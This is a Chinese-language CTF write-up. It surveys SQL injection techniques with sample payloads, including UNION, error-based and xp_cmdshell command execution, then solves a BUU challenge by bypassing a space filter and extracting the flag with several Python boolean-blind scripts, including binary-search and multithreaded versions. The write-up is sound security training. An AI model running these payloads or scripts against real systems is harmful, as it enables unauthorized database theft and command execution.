sql注入方法
1.基础型SQL:SQL代码直接嵌入,影响查询逻辑,常用AND、OR、XOR、NOT等构造条件影响逻辑,如' or '1'='1使得查询结果总为true
2.UNION查询注入:将构造的SQL语句查询结果跟正常查询结果合并,即这前面的正常语句跟UNION后面的语句一起执行,再将结果合并输出,如' UNION SELECT null,user,password FROM user --注入到SELECT id,item FROM product WHERE id='注入点';中,就变成了SELECT id,item FROM product WHERE id='' UNION SELECT null,user,password FROM user --';
3.报错注入:故意注入一个非法的语句,如id=1' AND extractvalue(1,concat(0x7e,(SELECT version())))--,利用XML函数EXTRACTVALUE(XML_document, XPath_string)与期望的Xpath不一致(concat()拼接出来的**"~版本号"**是非法XPath)而导致数据库报错,产生的错误信息包含了版本号,从而拿到想要的信息
4.布尔盲注:通过判断页面"true"或"false"来逐字推断数据,如id=1' AND substring(database(),1,1)='a'--,如果数据库名第一个字为a则返回"true",不是404、返回false等页面
5.时间盲注:通过数据库延时函数(如SLEEP()、BENCHMARK())判断条件成立与否,成立则延时,效率比布尔盲注更低
6.堆叠查询注入:使用";"将多条命令隔开,可以一次性执行多条命令,Mysql默认关闭
7.存储过程注入:在存储的过程中输入参数时注入如'; EXEC xp_cmdshell('dir'); --,之后会执行dir
8.cookie注入:如Cookie: session_id=' OR '1'='1;
9.其他有宽字节(单引号逃逸)、二次(取出时执行)、编码(绕过)、OOB(DNS、HTTP外带)等注入手段
测试
题目说给id,依次输入1、2、3
发现输入3的时候报错,id为3的不存在
再分别输入1=1、1=2
可以推断,结果为true时固定回显"Hello, glzjin wants a girlfriend.",不存在时回显"Error Occured When Fetch Result.",且输入的id是不被引号包裹的,即是数字型的,所以不需要引号闭合,查询语句可能如下所示
SELECT content FROM passage WHERE id=注入点
正确的回显只有"Hello, glzjin wants a girlfriend.",而不会再泄露其他东西,试试bool盲注了,在此查询语句下SUBSTR(string, start, length)自然是要在子查询内部完成比较,返回的结果只有0和1,这样我们就能判断比较的结果是否正确了
输入(substr((SELECT MIN(flag) from flag),1,1)='f'),此时可能是这样查询的
SELECT content FROM passage WHERE id=(substr((SELECT MIN(flag) from flag),1,1)='f')
#"(substr((SELECT MIN(flag) from flag),1,1)='f')"内先从当前数据库查询"flag"表"flag"列的第一个字符,再来跟"="后面的'f'进行比对,结果为true时返回1,内部比较结束
#此时得到SELECT content FROM passage WHERE id=1,返回预期回显
被检测到了,应该是空格的问题,测试1 =1
果然,需要寻找别的字符替代空格
注释符 /**/、内联注释 /*! ... */、水平制表符 %09、垂直制表符 %0b、换行符 %0a、回车符 %0d、换页符 %0c、()、空格 %20、%a0
()在MySQL/MariaDB中用于包裹参数
/*!SELECT*/在MySQL是特有的内联注释
1/**/=1、1/*!*/=1结果为SQL Injection Checked.,排除/**/、/*!*/
1%09=1、1%20=1、1=(1)结果为Hello, glzjin wants a girlfriend.
1%0a=1、1%0b=1、1%0d=1、1%0c=1、1%a0=1、1%20=%201、1%09=%091结果为bool(false),排除
%0a %0b %0d %0c %a0 %20 %09
只能使用"()"了,去掉空格后得到
(substr((SELECT(MIN(flag))from(flag)),1,1)='f')
使用py脚本:
import time
import requests
url = "url"
result = ""
for i in range(1, 50):
found = False
for char in "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+-=[]{}|;:,.<>?/~`\"'\\":
hex_char = hex(ord(char)) if not char.isalnum() else f"'{char}'"
payload = f"(substr((SELECT(MIN(flag))FROM(flag)),{i},1)={hex_char})"
r = requests.post(url, data={'id': payload})
if 'girl' in r.text:
result += char
print(f"[{i}] {char} -> {result}")
found = True
break
time.sleep(0.05)
if not found:
print(f"{i}处未找到")
break
print(f"\n结果: {result}")
使用ASCII编码
import time
import requests
url = "url"
result = ""
for i in range (1, 44):
for j in range (32, 128):
time.sleep(0.1)
payload ='(ascii(substr((SELECT(MIN(flag))FROM(flag)),'+ str(i) +',1))>' + str(j) +')'
print (payload)
r = requests.post(url, data={'id': payload})
if r.text.find('girl') ==-1:
result += chr (j)
print (j)
break
print (result)
在此基础上,使用二分法
import time
import requests
url = "url"
result = ""
for i in range(1, 50):
low, high = 32, 126
char_ascii = None
while low <= high:
mid = (low + high) // 2
time.sleep(0.03)
payload = f"(ascii(substr((SELECT(MIN(flag))FROM(flag)),{i},1))>{mid})"
print(f"{i}: ASCII>{mid} ([{low},{high}])", end="\r")
r = requests.post(url, data={'id': payload})
#判断逻辑:如果有'girl'说明条件为真(ASCII>mid),否则为假(ASCII<=mid)
if 'girl' in r.text:
low = mid + 1 # 在右半部分继续查找
else:
high = mid - 1 # 在左半部分继续查找
#循环结束后,low就是字符的ASCII码
char_ascii = low
# 确保找到的字符在有效范围内
if 32 <= char_ascii <= 126:
char = chr(char_ascii)
result += char
print(f"\n{i}: '{char}' (ASCII:{char_ascii}),flag: {result}")
#如果遇到结束符,可以提前结束
if char == '}':
print("找到结束符'}',结束")
break
else:
print(f"\n位置{i}: 超出范围({char_ascii}),爆破结束")
break
print(f"\n结果: {result}")
而在此基础上,可以使用多线程,由于BUU限制,只能降低速率
import time
import requests
import threading
url = "url"
result = ""
def find_char(pos):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
time.sleep(0.05)
payload = f"(ascii(substr((SELECT(MIN(flag))FROM(flag)),{pos},1))>{mid})"
try:
r = requests.post(url, data={'id': payload}, timeout=5)
if 'girl' in r.text:
low = mid + 1
else:
high = mid - 1
except:
time.sleep(0.3)
char_ascii = low
return (chr(char_ascii), char_ascii) if 32 < char_ascii <= 126 else (None, char_ascii)
start_time = time.time()
for batch_start in range(1, 51, 3):
threads, results = [], {}
for i, pos in enumerate(range(batch_start, min(batch_start + 3, 51))):
def thread_func(p):
results[p] = find_char(p)
t = threading.Thread(target=thread_func, args=(pos,))
threads.append(t)
t.start()
if i < 2 and pos < 50:
time.sleep(0.1)
for t in threads:
t.join()
empty_found = False
for pos in range(batch_start, min(batch_start + 3, 51)):
if pos in results:
char, ascii_val = results[pos]
if char:
result += char
print(f"{pos}: '{char}' (ASCII:{ascii_val}),flag: {result}")
else:
print(f"位置{pos}: 超出范围({ascii_val})")
empty_found = True
else:
empty_found = True
if empty_found:
break
if batch_start + 3 <= 50:
time.sleep(0.3)
print(f"\n结果: {result}")
print(f"总耗时: {time.time() - start_time:.2f} 秒")
当然,可以发现flag列只有一行数据,所以MIN()是可以省略的,如果不单只有一行数据,也不是使用MIN()或MAX()就可以拿到flag的